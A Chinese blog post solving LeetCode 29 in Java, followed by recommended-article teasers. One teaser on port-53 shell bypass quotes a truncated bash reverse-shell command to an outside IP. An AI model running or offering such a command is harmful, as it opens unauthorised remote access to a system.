题目描述

给定两个整数,被除数 dividend 和除数 divisor。将两数相除,要求不使用乘法、除法和 mod 运算符。

返回被除数 dividend 除以除数 divisor 得到的商。

整数除法的结果应当截去(truncate)其小数部分,例如:truncate(8.345) = 8 以及 truncate(-2.7335) = -2

示例 1:

输入: dividend = 10, divisor = 3

输出: 3

解释: 10/3 = truncate(3.33333..) = truncate(3) = 3

示例 2:

输入: dividend = 7, divisor = -3

输出: -2

解释: 7/-3 = truncate(-2.33333..) = -2

解题思路

首先要考虑到数字的正负问题,如果除数被除数都为正数或者都为负数,结果也是正数,否则为负数。使用 sign 标记正负,然后将除数被除数都转成正数:

int sign = 1;
if ((dividend > 0 && divisor < 0) || (dividend < 0 && divisor > 0)) {
sign = -1;
}
int dividends = Math.abs(dividend);
int divisors = Math.abs(divisor);

要求不能使用乘法、除法和取余运算,算出两数相除的值,结果值取整。涉及到运算,那就得使用到别的运算符,比如加法。比如 10/3 转成 10 一直减 3,直到被减的数小于被除数。

10 - 3 = 7
7 -3 = 4
4 - 3 = 1 < 3

上面一共减了三次,所以 10/3 = 3,根据思路写出下面代码:

public int divide(int dividend, int divisor) {
int sign = 1;
if ((dividend > 0 && divisor < 0) || (dividend < 0 && divisor > 0)) {
sign = -1;
}
int dividends = Math.abs(dividend);
int divisors = Math.abs(divisor);
int index = 0;
while (dividends >= divisors) {
dividends = dividends - divisors;
index++;
} return index * sign;
}

结果:

这里涉及到数字范围的问题,我们发现 -2147483648,取相反数还是-2147483648,这是由于编码 int 占四个字节,一个字节八个位。

所以需要使用转成 long 类型,避免数据越界问题:

 int sign = 1;
if ((dividend > 0 && divisor < 0) || (dividend < 0 && divisor > 0)) {
sign = -1;
}
long dividends = Math.abs((long) dividend);
long divisors = Math.abs((long) divisor);
long index = 0;
while (dividends >= divisors) {
dividends = dividends - divisors;
index++;
}
if (index > Integer.MAX_VALUE && sign == 1) {
return Integer.MAX_VALUE * sign;
}
return (int) index * sign;

结果:

结果超时,是因为一个个减,是需要重复次数,时间复杂度是O(n)。

这里需要使用递进式的减法,比如

10/1 = 10
10 - 1 = 9 index = 1
9 - 1 = 8 index = 2
8 - 1 = 7 index = 3
7 - 1 = 6 index = 4
6 - 1 = 5 index = 5
....
1 - 1 = 0 index = 10

这上面是要进行十步操作,需要做的一个递进的操作,被除数做加倍,比如上面可以转成:

10 - 1= 9          index = 1 = 1
9 - 1*2 = 7 index = 1 + 1*2 = 3
7 - 1*2*2 = 3 index = 1 + 1*2 + 1 *2*2 = 7 再匹配 3 - 1*2*2*2 < 0,还需要再进行上面的减操作
3 - 1 = 2 index = 7 + 1 = 8
2 - 1*2 = 0 index = 7 + 1 + 1* 2 = 10

具体流程:

根据以上思路可得如下代码:

int sign = 1;
if ((dividend > 0 && divisor < 0) || (dividend < 0 && divisor > 0)) {
sign = -1;
}
long dividends = Math.abs((long) dividend);
long divisors = Math.abs((long) divisor);
long index = 0;
while (dividends >= divisors) {
long temp = divisors;
long i = 1;
while (dividends >= temp) {
dividends = dividends - temp;
index = index + i;
temp = temp << 1;
i = i << 1;
}
}
if (index > Integer.MAX_VALUE && sign == 1) {
return Integer.MAX_VALUE * sign;
}
return (int) index * sign;

总结

  • 此题解法开始想到将除法转成减法,一个一个累计减
  • 需要考虑 int 范围溢出问题,这里统一换成 long 类型
  • 累减需要的时间负复杂度是O(n),容易超时,这里需要转成递进减法,即每次都对被减数加倍

如果觉得文章对你有帮助的话,请点个推荐吧!

【leetcode 29】 两数相除(中等)的更多相关文章

  1. Java实现 LeetCode 29 两数相除

    29. 两数相除 给定两个整数,被除数 dividend 和除数 divisor.将两数相除,要求不使用乘法.除法和 mod 运算符. 返回被除数 dividend 除以除数 divisor 得到的商 ...

  2. Leetcode 29.两数相除 By Python

    给定两个整数,被除数 dividend 和除数 divisor.将两数相除,要求不使用乘法.除法和 mod 运算符. 返回被除数 dividend 除以除数 divisor 得到的商. 示例 1: 输 ...

  3. LeetCode 29 - 两数相除 - [位运算]

    题目链接:https://leetcode-cn.com/problems/divide-two-integers/description/ 给定两个整数,被除数 dividend 和除数 divis ...

  4. leetcode 29 两数相除

    问题描述 给定两个整数,被除数 dividend 和除数 divisor.将两数相除,要求不使用乘法.除法和 mod 运算符. 返回被除数 dividend 除以除数 divisor 得到的商. 示例 ...

  5. [LeetCode]29 两数相除和一个小坑点

    给定两个整数,被除数 dividend 和除数 divisor.将两数相除,要求不使用乘法.除法和 mod 运算符. 返回被除数 dividend 除以除数 divisor 得到的商. 示例 1: 输 ...

  6. LeetCode 29——两数相除

    1. 题目 2. 解答 2.1. 方法一 题目要求不能使用乘法.除法和除余运算,但我们可以将除法转移到对数域. \[ \frac{a}{b} = e^{\frac{lna}{lnb}} = e^{ln ...

  7. leetcode 29两数相除

    我理解本题是考察基于加减实现除法,代码如下: class Solution { public: //只用加减号实现除法, //不用加减号实现除法: int divide(int dividend, i ...

  8. 【剑指 Offer II 001. 整数除法】同leedcode 29.两数相除

    剑指 Offer II 001. 整数除法 解题思路 在计算的时候将负数转化为正数,对于32位整数而言,最小的正数是-2^31, 将其转化为正数是2^31,导致溢出.因此将正数转化为负数不会导致溢出. ...

  9. [LeetCode] 29. Divide Two Integers 两数相除

    Given two integers dividend and divisor, divide two integers without using multiplication, division ...

随机推荐

  1. Oracle数据库sql命令整理

    转至:https://blog.csdn.net/weixin_43712330/article/details/88358604 以下为oracle数据库中sql语句的整理,将持续更新01. 如何登 ...

  2. 修改Ehcache缓存中取到的值,缓存中的值也被修改了

    问题现象 我们从Ehcache中取出缓存的对象,之后将对象中的属性进行了修改使用.等再次从缓存中拿到对象后,发现对象的值变成了上一次调用修改后的对象了. 原因 Ehcache中缓存的是原对象的引用,所 ...

  3. thinkphp 框架自带搜索+分页+搜索标红

    ..........控制器方法 public function index() { //接受搜索关键字 $word=input('word'); $where=[]; if (!empty($word ...

  4. MySQL-DB-封装-简易版

    <?php class DB{ private $link; public function __construct($host,$user,$password,$dbname,$port) { ...

  5. Casbin入选2022 Google编程之夏

    Casbin入选2022 Google编程之夏! Google编程之夏(Google Summer of Code,GSoC),是由Google公司所主办的年度开源程序设计项目,第一届从2005年开始 ...

  6. CTS,CLS,CLR

    1)CTS通用类型系统(Common Type System) CTS不但实现了COM的变量兼容类型,而且还定义了通过用户自定义类型的方式来进行类型扩展.任何以.NET平台作为目标的语言必须建立它的数 ...

  7. OpenCv基础_四

    Harris角点检测 理解 内部点:蓝框所示,无论滑动窗口水平滑动还是竖直滑动,框内像素值都不会发生大的变化 边界点:黑框所示,滑动窗口沿着某一个方向滑动框内像素点不会发生大的改变,但是沿着另一个方向 ...

  8. burp token爆破(DVWA high暴力破解)

    一.选择Pitchfork模式.选择要爆破的参数 二.options设置 找到optiops(设置)把线程设为1 配置Grep=Extract,点添加 点击Refetch  response 获取返回 ...

  9. MSF基本使用

    MSF 链接数据库 linux查找文件 find / -name dabase.yml 链接数据库 db_connect -y path/database.yml db_status 查询数据库链接状 ...

  10. 53端口反弹shell

    shell反弹 由于防火墙策略,导致并不能按预期的反弹shell,端口被封禁,可以使用53端口进行反弹shell 命令如下: bash -c 'sh -i &>/dev/tcp/210. ...